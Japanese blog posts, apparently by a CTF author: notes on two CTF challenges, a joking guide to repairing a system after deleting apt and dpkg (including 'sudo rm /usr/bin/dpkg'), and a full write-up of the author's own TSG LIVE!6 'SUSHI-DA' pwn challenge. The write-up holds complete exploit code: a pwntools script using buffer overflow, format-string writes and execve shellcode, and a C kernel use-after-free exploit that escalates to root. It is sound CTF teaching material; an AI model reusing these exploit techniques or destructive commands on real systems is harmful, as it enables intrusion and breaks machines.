自前kernelだとフォルトこそ置きていませんが、最後のQEMU monitorの結果からもわかるように、書き込みがおきていません。kernelを読んでみます。/dev/memへのwriteは、write_mem()@/drivers/char/mem.cが呼ばれ、書き込みのチェックが行われます。いくら/dev/memへの書き込みとはいえ、本当にどこにでも書き込めるわけではなく、ある程度のチェックは行われるようです。この中でpage_is_allowed()からdevmem_is_allowed()@/arch/x86/mm/init.cが呼ばれるのですが、なんかこいつがcodeセクションへのwriteを拒否してきます。因みにdataセクションの場合でも同じでした。

理由は今のところ分かっていませんが、あとでもうちょっと深堀してなんか書きます。

 

というわけで、配布kernelだとフォルトが起きて、かつ自前だとハンドラ内でアクセスが拒否されるため、kernelコードの書き換えができませんでした。理由が分かってないのでちゃんと調べたいですね。多分すごく初歩的な勘違いをしているような気がするんですが。

まぁ何はともあれmoraさんが解いてくれたのでOKです。

 

author's writeupによると、core_patternを書き換えてcrashさせることでmodprob_pathと同様にいけるらしいです。知らなかったので勉強になりました。ところでこいつのオフセットを楽に知るにはどうしたら良いんでしたっけ。

 

 

2: JIT4B

ある関数において変数の値が追跡されるため、ごまかしてOOBアクセスさせたら勝ちの問題です。ebpfのverifierみたいなだなぁと思いました。ebpfだとシフトやand/xor等にこれまでバグが見つかっていましたが、今回は四則演算とmin/maxのみの演算になっているので関係なさそうです。1個ずつabstract.hppのrange処理を見ていき、おおよそバグがないように見えましたが、除算のところだけ気になりました。

 

abstract.hpp
  /* Abstract divition */
  Range& operator/=(const int& rhs) {
    if (rhs < 0)
      *this *= -1; // This swaps min and max properly
    // There's no function named "__builtin_sdiv_overflow"
    // (Integer overflow never happens by integer division!)
    min /= abs(rhs);
    max /= abs(rhs);
    return *this;
  }

 

ぼくはrangeの下限が負に最大だとrangeを入れ替えた時に上限でoverflowするんじゃないかと疑ってしまいましたが、除算内で呼ばれる掛け算ではちゃんとoverflowの処理がされており、ちゃんと追跡不能でマークされていました。ここらへんでmoraさんが問題を見始めたんですが、一瞬でabs内では同様のoverflowが実現できると気づいたため、瞬殺されました。range内にだけ(つまり被除数にだけ)気を取られていて、除数の方でoverflowが起きることに気づかなかったのが反省点です。因みに、コメントを大量に入れているところはCTFの文脈において本当にバグがないからココはあんまり見ても意味ないことを伝えている場合と、ただのフリでコメントがあるところにバグがある場合があるのですが、今回は後者寄りでした(厳密には同じところではないけど同じ関数内)。

 

 

それにしても、2ヶ月ぶりのCTFで、moraさんが問題を解くのも久々に見たんですが、異常に早いですね。まじで無職で、あまりにもお腹が減ったので皆が取っておいたwarmupを貰ってしまいました。

 

 

3: アウトロ

ぼくは何もしていませんが、他の人が強かったためTSGは3位だったみたいです。ところでチーム登録をする時に間違えてぼく個人のG-mailで登録してしまったため、swag関係のメールが個人宛のメールに来てしまいます。ptrさんからメールが来るなんてきゅんきゅんしちゃいますよね。頑張って好きな犬種は何か聞き出そうと思います。因みにぼくは柴とスピッツとハスキーです。猫よりも犬派です。

 

【追記 20210830】

好きな犬を聞き出しました。シベリアンハスキー、アラスカンマラミュートジャーマン・シェパード、柴犬、秋田犬、ウルフハイブリッド、コーギーだそうです。大型犬が多いですね。ぼくも大型犬が好きです。業界のねこ好きをなんとか是正していきたいですね。

 

 

4: 参考

1: パン人間

https://twitter.com/moratorium08/status/992973579108081666?s=20

2: author's writeup

https://ptr-yudai.hatenablog.com/entry/2021/08/30/000015

3: author's comment

https://twitter.com/pwnyaa/status/1432216513633656835?s=20

 

 

 

続く...

 

 

【雑談 10.0】aptとdpkgを両方消したときにやること

 

 

注意: 本記事に書いてあることを実際に試して環境がぶっ壊れてもなんの責任も負いませんし、サンダルで散歩した時に親指を怪我したとしてもなんの責任も取りません。

 

 

 

大学院の募集が始まり研究計画書が書けないということでイライラすることはよくあると思います。

 

イライラしたときに、aptのデバッグをするためにソースからビルドして、それを間違えて環境にインストールしてしまうこともよくあると思います。

そうすると、おそらく以下のように/etc/aptではなく/usr/local/etc/aptを見に行くようになってしまい、余計イライラが蓄積していきます。

.sh
W: Unable to read /usr/local/etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory)
W: Unable to read /usr/local/etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory)
W: Unable to read /usr/local/etc/apt/sources.list - RealFileExists (2: No such file or directory)
W: Unable to read /usr/local/etc/apt/preferences.d/ - DirectoryExists (2: No such file or directory)

 

apt自体は異常な量のconfig名前空間を持っており、それを指定することで一時的にetcディレクトリを指定することはできます。例えばsudo apt -oDir::Etc=/etc/apt install hogeとすることでetcを指定することができます。それにしたってinstall時に以下のようなエラーが出ます。

.sh
After this operation, 120 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 30%E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 61%E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 91%E: Cannot get debconf version. Is debconf installed?
debconf: apt-extracttemplates failed: No such file or directory
Extracting templates from packages: 100%
Could not exec dpkg!
E: Sub-process /usr/local/bin/dpkg returned an error code (100)

 

ここまで来ると、およそ大抵の人はイライラが蓄積し、aptをリインストールすることになると思います。しかし、aptだけリインストールしても上の症状は全く変わりません。

そうするとほとんどの人はそのイライラから以下のようなコマンドを打つことになると思います。

.sh
wataru@skbpc:~: 20:43:34 Thu Jun 03
$ sudo rm /usr/bin/dpkg
wataru@skbpc:~: 20:43:50 Thu Jun 03
$ sudo rm /usr/bin/apt

 

ここで、1分くらい絶望に暮れましょう。

 

 

dpkgのリインストール

多分、UbuntuのISOイメージに入ってるaptとdpkgを使ってやるのが最もクリーンだと思いますが、以下ではちょっとdirtyかもしれない方法を使います。ISO入ったCD-ROMって、なくしがちだもんね。

やることは、aptがやってくれることを手動でやるだけです。

まずはIndexファイルを取ってきます。

.sh
$ wget http://security.ubuntu.com/ubuntu/dists/focal/main/binary-adm64/Packages.gz
--2021-06-03 21:39:20--  http://security.ubuntu.com/ubuntu/dists/focal/main/binary-adm64/Packages.gz
Resolving security.ubuntu.com (security.ubuntu.com)... 2001:67c:1562::15, 2001:67c:1562::18, 91.189.91.39, ...
Connecting to security.ubuntu.com (security.ubuntu.com)|2001:67c:1562::15|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2021-06-03 21:39:21 ERROR 404: Not Found.

$ wget http://security.ubuntu.com/ubuntu/dists/focal/main/binary-amd64/Packages.gz
--2021-06-03 21:39:34--  http://security.ubuntu.com/ubuntu/dists/focal/main/binary-amd64/Packages.gz
Resolving security.ubuntu.com (security.ubuntu.com)... 2001:67c:1562::15, 2001:67c:1562::18, 91.189.91.39, ...
Connecting to security.ubuntu.com (security.ubuntu.com)|2001:67c:1562::15|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1274738 (1.2M) [application/x-gzip]
Saving to: ‘Packages.gz’

Packages.gz            100%[==========================>]   1.21M   916KB/s    in 1.4s

2021-06-03 21:39:36 (916 KB/s) - ‘Packages.gz’ saved [1274738/1274738]

$ gunzip ./Packages.gz

ここで一回binary-amd64binary-adm64typoすることが重要です。distroとarchとcomponentは自分が使っているものに合わせてください。そしたら、そのIndexファイルを見てdpkgを探します。

.sh
Package: dpkg
Architecture: amd64
Version: 1.19.7ubuntu3
Multi-Arch: foreign
Priority: required
Essential: yes
Section: admin
Origin: Ubuntu
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
Original-Maintainer: Dpkg Developers <debian-dpkg@lists.debian.org>
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Installed-Size: 6740
Pre-Depends: libbz2-1.0, libc6 (>= 2.15), liblzma5 (>= 5.2.2), libselinux1 (>= 2.3), libzstd1 (>= 1.3.2), zlib1g (>= 1:1.1.4)
Depends: tar (>= 1.28-1)
Suggests: apt, debsig-verify
Breaks: acidbase (<= 1.4.5-4), amule (<< 2.3.1+git1a369e47-3), beep (<< 1.3-4), im (<< 1:151-4), libapt-pkg5.0 (<< 1.7~b), libdpkg-perl (<< 1.18.11), lsb-base (<< 10.2019031300), netselect (<< 0.3.ds1-27), pconsole (<< 1.0-12), phpgacl (<< 3.3.7-7.3), pure-ftpd (<< 1.0.43-1), systemtap (<< 2.8-1), terminatorx (<< 4.0.1-1), xvt (<= 2.1-20.1)
Filename: pool/main/d/dpkg/dpkg_1.19.7ubuntu3_amd64.deb
Size: 1127856
MD5sum: f595c79475d3c2ac808eaac389071c35
SHA1: b9cb6b292865ec85bca1021085bc0e81e160e676
SHA256: 76132be95c7199f902767fb329e0f33210ac5b5b1816746543bc75f795d9a37c
Homepage: https://wiki.debian.org/Teams/Dpkg
Description: Debian package management system
Task: minimal
Description-md5: 2f156c6a30cc39895ad3487111e8c190

Filenameを見ると、バイナリの場所が書いてあるのでそれを取ってきます。

.sh
$ wget http://security.ubuntu.com/ubuntu/pool/main/d/dpkg/dpkg_1.19.7ubuntu3_amd64.deb

 

dpkgがないため、バイナリなくてやばいなり、という渾身のギャグを一発かました後、直接extractしてバイナリを取り出します。

.sh
mkdir nirugiri && cd nirugiri
ar x ../dpkg_1.19.7ubuntu3_amd64.deb
unxz ./data.tar.xz && tar xvf ./data.tar
sudo cp ./usr/bin/dpkg /usr/bin/

 

これでdpkgのリインストールは終わり。

 

aptのリインストール

apt自体は、上の方法で同様にやればOK。しかも今回はdpkgを使えます。ありがて〜〜〜。

aptのインストールが終わったら念の為dpkgをaptからリインストールするといいって実家を出る時にばあちゃんが言ってました。

 

古いaptを消す

これでやっと振り出しに戻りますが、依然aptは/usr/local/etc/aptを見続けます。ストーカー並みに見続けます。

なので、straceして何が悪さをしているかを見ます。

.sh
openat(AT_FDCWD, "/usr/local/lib/libapt-private.so.0.0", O_RDONLY|O_CLOEXEC) = 3

この辺ですね。抹消します。

.sh
sudo mv /usr/local/lib/libapt-private.so.0.0 /usr/local/lib/libapt-private.so.0.0.kasu
sudo mv /usr/local/lib/libapt-pkg.so /usr/local/lib/libapt-pkg.so.kasu

恨みを込めて、拡張子はkasuにしておくのがおすすめです。

 

 

アウトロ

いかがだったでしょうか?

カス記事を書くのはいつだって楽しいし、晩御飯はいつ食べても美味しいことが知られています。

 

 

 

参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 53.0】TSGLIVE!6 CTF - SUSHI-DA (kernel exploit)

keywords

BOF / FSA / seq_operations / kUAF

 

 

1: イントロ

いつぞや開催されたTSG LIVE!6 CTF。120分という超短期間のCTF。pwnを作ったのでその振り返りとliveの感想。 

f:id:smallkirby:20210516195731p:plain

ニルギリ

問題コード・ファイル・exploit等全てのコードは以下のリポジトリにあります。

github.com

 

2: 問題概要

Level 1~3で構成される問題。どのレベルもLKMを利用したプログラムを共通して使っているが、Lv1/2はLKMを使わなくても(つまり、QEMU上で走らせなくても)解けるようになっている。

短期間CTFであり、プレイヤの画面が公開されるという性質上、放送映えするような問題にしたかった。pwnの楽しいところはステップを踏んでexploitしていくところだと思っているため、Level順にプログラムのロジックバイパス・user shellの奪取・root shellの奪取という流れになっている。正直Level3は特定の人物を狙い撃ちした問題であり、早解きしてギリギリ120分でいけるかなぁ(願望)という難易度になっている。

 

3: SUSHI-DA1: logic bypass

static.sh
$ file ./client
./client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=982caef5973f267fa669d3922c57233063f709d2, for GNU/Linux 3.2.0, not stripped
$ checksec --file ./client
[*] '/home/wataru/test/sandbox/client'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

f:id:smallkirby:20210516195926p:plain

寿司打?

冷え防止の問題。テーマは寿司打というタイピングゲーム。

client.c
  struct {
    unsigned long start, result;
    char type[MAX_LENGTH + 0x20];
    int pro;
  } info = {0};
 (snipped...)
  info.result = time(NULL) - info.start;
  puts("\n[ENTER] again to finish!");
  readn(info.type, 0x200);

  printf("\n🎉🎉🎉Congrats! You typed in %lu secs!🎉🎉🎉\n", info.result);
  register_record(info.result);
  if(info.pro != 0) system("cat flag1");

 

クリアした後にENTERを受け付ける箇所があるが、ここでバッファサイズの200+の代わりに0x200を受け付けてしまっているためstruct info内でBOFが発生しinfo.proを書き換えられる。

 

4: SUSHI-DA2: user shell

client.c
  while(success < 3){
    unsigned question = rand() % 4;
    if(wordlist[question][0] == '\x00') continue;
    printf("[TYPE]\n");
    printf(wordlist[question]); puts("");
    readn(info.type, 200);
    if(strncmp(wordlist[question], info.type, strlen(wordlist[question])) != 0)  warn_ret("🙅‍🙅 ACCURACY SHOULD BE MORE IMPORTANT THAN SPEED.");
    ++success;
  }
(snipped...)
void add_phrase(void){
  char *buf = malloc(MAX_LENGTH + 0x20);
  printf("[NEW PHRASE] ");
  readn(buf, MAX_LENGTH - 1);
  for(int ix=0; ix!=MAX_LENGTH-1; ++ix){
    if(buf[ix] == '\xa') break;
    memcpy(wordlist[3]+ix, buf+ix, 1);
  }
}

 

タイピングのお題を1つだけカスタムできるが、お題の表示にFSBがある。これでstackのleakができる。

この後の方針は大きく分けて2つある。1つ目は、stackがRWXになっているためstackにshellcodeを積んだ上でRAをFSBで書き換えてshellを取る方法。この場合、FSAの入力と発火するポイントが異なるため、FSAで必要な準備(書き換え対象のRAがあるアドレスをstackに積む必要がある)はmain関数のstackに積んでおくことになる。また、発火に時間差があるという都合上、単純にpwntoolsを使うだけでは解くことができない。

client.c
int main(int argc, char *argv[]){
  char buf[0x100];
  srand(time(NULL));
  setup();

  while(1==1){
    printf("\n\n$ ");
    if (readn(buf, 100) <= 0) die("[ERROR] readn");

2つ目は、canaryだけリークしてあとは通常のBOFでROPするという方法。こっちのほうが多分楽。正直、canaryはleakできない感じの設定にしても良かった(bufサイズを調整)が、200と0x200を打ち間違えたという雰囲気を出したかった都合上、canaryのleak+ROPまでできるくらいの設定になった。

尚、最後に載せているfull exploitではFSBだけで解いている。

 

5: SUSHI-DA3: root shell

ここまででuser shellがとれているため、今度はLKMのバグをついてrootをとる。バグは以下。

sushi-da.c
long clear_old_records(void)
{
  int ix;
  char tmp[5] = {0};
  long date;
  for(ix=0; ix!=SUSHI_RECORD_MAX; ++ix){
    if(records[ix] == NULL) continue;
    strncpy(tmp, records[ix]->date, 4);
    if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]);
  }
  return 0;
}

タイピングゲームの記録をLKMを使って記録しているのだが、古いレコード(1990年以前)と不正なレコードを削除する関数においてkfreeしたあとの値をクリアしていない。これによりkUAFが生じる。

SMEP/SMAP無効KAISER無効であるため、あとは割と任意のことができる。editがないことやkmallocではなくkzallocが使われているのがちょっと嫌な気もするが、実際はdouble freeもあるためseq_operationsでleakしたあとに再びそれをrecordとして利用することでRIPを取ることができる。

 

6: full exploit

exploit.py
#!/usr/bin/python2
# -*- coding: utf-8 -*-

# coding: 4 spaces

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from pwn import *
import pwnlib
import sys, os

def handle_pow(r):
    print(r.recvuntil(b'python3 '))
    print(r.recvuntil(b' solve '))
    challenge = r.recvline().decode('ascii').strip()
    p = pwnlib.tubes.process.process(['kctf_bypass_pow', challenge])
    solution = p.readall().strip()
    r.sendline(solution)
    print(r.recvuntil(b'Correct\n'))

hosts = ("sushida.pwn.hakatashi.com","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
#binf = ELF(FILENAME)
#libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(command):
  global c
  c.recvuntil("$ ")
  c.sendline(command)

def typin():
  c.recvuntil("[TYPE]")
  c.recvline()
  c.sendline(c.recvline().rstrip())

def play_clear(avoid_nirugiri=True):
  global c
  hoge("play")
  for _ in range(3):
    typin()
  
def custom(phrase):
  global c
  hoge("custom")
  c.recvuntil("[NEW PHRASE] ")
  c.sendline(phrase)

def custom_wait_NIRUGIRI(pay, append_nirugiri=True):
  global c
  print("[.] waiting luck...")
  res = ""
  found = False
  if append_nirugiri:
    custom("NIRUGIRI" + pay)
  else:
    custom(pay)

  while True:
    hoge("play")
    for _ in range(3):
      c.recvuntil("[TYPE]")
      c.recvline()
      msg = c.recvline().rstrip()
      if "NIRUGIRI" in msg:
        found = True
        res = msg
        if append_nirugiri:
          c.sendline("NIRUGIRI"+pay)
        else:
          c.sendline(pay)
      else:
        c.sendline(msg)
    c.recvuntil("ENTER")
    c.sendline("")
    if found:
      break      
  
  return res[len("NIRUGIRI"):]

def inject_wait_NIRUGIRI(pay):
  global c
  print "[.] injecting and waiting luck",
  res = ""
  found = False
  aborted = False
  custom(pay)

  while True:
    hoge("play")
    for _ in range(3):
      c.recvuntil("[TYPE]")
      c.recvline()
      msg = c.recvline().rstrip()
      if "NIRUGIRI" in msg:
        print("\n[!] FOUND")
        c.sendline("hey")
        return
      else:
        print ".",
        c.sendline(msg)
    if aborted:
      aborted = False
      continue
    c.sendline("")

## exploit ###########################################

def exploit():
  global c
  global kctf
  MAX_TYPE = 200

  ##############################
  #  LEVEL 1                   #
  ##############################
  # overwrite info.pro
  play_clear()
  c.recvuntil("ENTER")
  c.sendline("A"*0xf8)
  c.recvuntil("typed")
  c.recvline()
  flag1 = c.recvline().rstrip()
  if "TSGLIVE" not in flag1:
      exit(1)
  print("\n[!] Got a flag1 🎉🎉🎉 " + flag1)

  ###############################
  ##  LEVEL 2                   #
  ###############################
  SC_START = 0x50
  pay = b""

  # leak stack
  pay += "%42$p"
  leaked = int(custom_wait_NIRUGIRI(pay), 16)
  ra_play_game = leaked - 0x128
  buf_top = leaked - 0x230
  target_addr = ra_play_game + 0x38
  print("[+] leaked stack: " + hex(leaked))
  print("[+] ra_play_game: " + hex(ra_play_game))
  print("[+] buf_top: " + hex(buf_top))
  pay_index = 47

  # calc
  v0 = target_addr & 0xFFFF
  v1 = (target_addr >> 16) & 0xFFFF
  v2 = (target_addr >> 32) & 0xFFFF
  assert(v0>8 and v1>8 and v2>8)
  vs = sorted([[0,v0],[1,v1],[2,v2]], key= lambda l: l[1])

  # place addr & sc
  sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
  c.recvuntil("$ ")
  pay = b""
  pay += "A"*8
  pay += p64(ra_play_game) + p64(ra_play_game+2) + p64(ra_play_game+4)
  pay += sc
  assert(len(pay) <= 0x50)
  assert("\x0a" not in pay)
  c.sendline(pay)

  # overwrite return-addr with FSA
  pay = b""
  pay += "NIRUGIRI"
  pay += "%{}c".format(vs[0][1]-8)
  pay += "%{}$hn".format(pay_index + vs[0][0])
  pay += "%{}c".format(vs[1][1] - vs[0][1])
  pay += "%{}$hn".format(pay_index + vs[1][0])
  pay += "%{}c".format(vs[2][1] - vs[1][1])
  pay += "%{}$hn".format(pay_index + vs[2][0])
  assert("\x0a" not in pay)
  assert(len(pay) < MAX_TYPE)
  print("[+] shellcode placed @ " + hex(target_addr))

  # nirugiri
  inject_wait_NIRUGIRI(pay) # if NIRUGIRI comes first, it fails
  c.sendlineafter("/home/user $", "cat ./flag2")
  flag2 = c.recvline()
  if "TSGLIVE" not in flag2:
      exit(2)
  print("\n[!] Got a flag2 🎉🎉🎉 " + flag2)

  ##############################
  #  LEVEL 3                   #
  ##############################
  # pwning kernel...
  c.recvuntil("/home/user")
  print("[!] pwning kernel...")
  if kctf:
    with open("/home/user/exploit.gz.b64", 'r') as f:
      binary = f.read()
  else:
    with open("./exploit.gz.b64", 'r') as f:
      binary = f.read()

  progress = 0
  pp = 0
  N = 0x300
  total = len(binary)
  print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
  for s in [binary[i: i+N] for i in range(0, len(binary), N)]:
    c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s)) # don't forget -n
    progress += N
    if (float(progress) / float(total)) > pp:
      pp += 0.1
      print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(total)))
  c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz')
  c.sendlineafter('$', 'gunzip ./exploit.gz')

  c.sendlineafter('$', 'chmod +x ./exploit')
  c.sendlineafter('$', '/home/user/exploit')

  c.recvuntil("# ")
  c.sendline("cat flag3")
  flag3 = c.recvline()
  if "TSGLIVE" not in flag3:
      exit(3)
  print("\n[!] Got a flag3 🎉🎉🎉 " + flag3)


## main ##############################################

if __name__ == "__main__":
    global c
    global kctf
    kctf = False
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
      elif sys.argv[1][0]=="k":
        c = remote("127.0.0.1", 1337) # kctf XXX
        kctf = True
        print("[+] kctf healthcheck mode")
        print(c.recvuntil("== proof-of-work: "))
        if c.recvline().startswith(b'enabled'):
          handle_pow(c)
    else:
        c = remote(rhp2['host'],rhp2['port'])

    try:
        exploit()
    except:
        print("\n")
        print(sys.exc_info()[0], sys.exc_info()[1])
        print("\n[?] exploit failed... try again...")
        exit(4)
    if kctf:
        print("\n[+] healthcheck success!")
        exit(0)
    else:
        c.interactive()

 

kernel.

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>

#include "../include/sushi-da.h"


// commands
#define DEV_PATH "/dev/sushi-da"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  puts("[!] NIRUGIRI!");
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("\n\n Got a root! 🎉🎉🎉");
  execve("/bin/sh",argv,envp);
}

// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

ulong kernbase;
ulong commit_creds, prepare_kernel_cred;

static void shellcode(void){
  ulong init_cred;
  asm(
    "mov %%rdi, 0x0\n"
    "call %P1\n"
    "movq %0, %%rax"
    : "=r" (init_cred) : "r" ((void*)prepare_kernel_cred) : "memory"
  );
  asm(
      "mov %%rdi, %0\n"
      "call %P1\n" 
      ::"r"((void *)init_cred), "r"((void *)commit_creds) : "memory"
  );
  asm(
      "swapgs\n"
      "mov %%rax, %0\n"
      "push %%rax\n"
      "mov %%rax, %1\n"
      "push %%rax\n"
      "mov %%rax, %2\n"
      "push %%rax\n"
      "mov %%rax, %3\n"
      "push %%rax\n"
      "mov %%rax, %4\n"
      "push %%rax\n"
      "iretq\n" 
      ::"r"(user_ss), "r"(user_sp), "r"(user_rflags), "r"(user_cs), "r"(&NIRUGIRI) : "memory"
    );
}
// (END utils)

void register_record(int fd, int score, char *date){
  struct ioctl_register_query  q = {
    .record = {.result = score,},
  };
  strncpy(q.record.date, date, 0x10);
  if(ioctl(fd, SUSHI_REGISTER_RECORD, &q) < 0){
    errExit("register_record()");
  } 
}

void fetch_record(int fd, int rank, struct record *record){
  struct ioctl_fetch_query q = {
    .rank = rank,
  };
  if(ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0){
    errExit("fetch_record()");
  } 
  memcpy(record, &q.record, sizeof(struct record));
}

void clear_record(int fd){
  if(ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL) < 0){
    errExit("clear_record()");
  } 
}

void show_rankings(int fd){
  struct ioctl_fetch_query q;
  for (int ix = 0; ix != 3; ++ix){
    q.rank = ix + 1;
    if (ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0) break;
    printf("%d: %ld sec : %s\n", ix + 1, q.record.result, q.record.date);
  }
}

void clear_all_records(int fd){
  if(ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL) < 0){
    errExit("clear_all_records()");
  }
}

int main(int argc, char *argv[]) {
  char inbuf[0x200];
  char outbuf[0x200];
  int seqfd;
  int tmpfd[0x90];
  memset(inbuf, 0, 0x200);
  memset(outbuf, 0, 0x200);
  printf("[.] pid: %d\n", getpid());
  printf("[.] NIRUGIRI at %p\n", &NIRUGIRI);
  printf("[.] shellcode at %p\n", &shellcode);
  int fd = open(DEV_PATH, O_RDWR);
  if(fd <= 2){
    perror("[ERROR] failed to open mora");
    exit(0);
  }
  clear_all_records(fd);

  struct record r;
  struct record r1 = {
    .result = 1,
    .date = "1930/03/12",
  };

  // heap spray
  puts("[.] heap spraying...");
  for (int ix = 0; ix != 0x90; ++ix)
  {
    tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
  }

  // leak kernbase
  puts("[.] generating kUAF...");
  register_record(fd, r1.result, r1.date);
  clear_record(fd);
  if((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){
    errExit("open seq_operations");
  }
  fetch_record(fd, 1, &r);

  const ulong _single_start = *((long*)r.date);
  const ulong kernbase = _single_start - 0x194090;
  printf("[+] single_start: %lx\n", _single_start);
  printf("[+] kernbase: %lx\n", kernbase);
  commit_creds = kernbase + 0x06cd00;
  printf("[!] commit_creds: %lx\n", commit_creds);
  prepare_kernel_cred = kernbase + 0x6d110;
  printf("[!] prepare_kernel_cred: %lx\n", prepare_kernel_cred);

  // double free
  struct record r2 = {
    .result = 3,
  };
  *((ulong*)r2.date) = &shellcode;
  clear_record(fd);
  register_record(fd, r2.result, r2.date);

  // get RIP
  save_state();
  for (int ix = 0; ix != 0x80; ++ix){
    close(tmpfd[0x90 - 1 - ix]);
  }
  read(seqfd, inbuf, 0x10);

  return 0;
}

 

Makefile

# exploit
$(EXP)/exploit: $(EXP)/exploit.c
	docker run -it --rm -v "$$PWD:$$PWD" -w "$$PWD" alpine /bin/sh -c 'apk add gcc musl-dev linux-headers && $(CC) $(CPPFLAGS) $<'
	#$(CC) $(CPPFLAGS) $<
	strip $@

.INTERMEDIATE: $(EXP)/exploit.gz
$(EXP)/exploit.gz: $(EXP)/exploit
	gzip $<
$(EXP)/exploit.gz.b64: $(EXP)/exploit.gz
	base64 $< > $@
exp: $(EXP)/exploit.gz.b64

 

7: 感想

まずは、参加してくださった方々、とりわけ外部ゲストの方々ありがとうございました。超強豪が問題を解いている画面を見れるなんて滅多にないので、裏でかなり興奮していました。

特に@pwnyaaさんが残り3分くらいでroot shellを取ったところは感動モノでした。wgetを入れていなかったことや、サーバが本当の最後の数分間に調子が悪かったらしいこともあって足を引っ張ってしまって申し訳ないです。。。

 

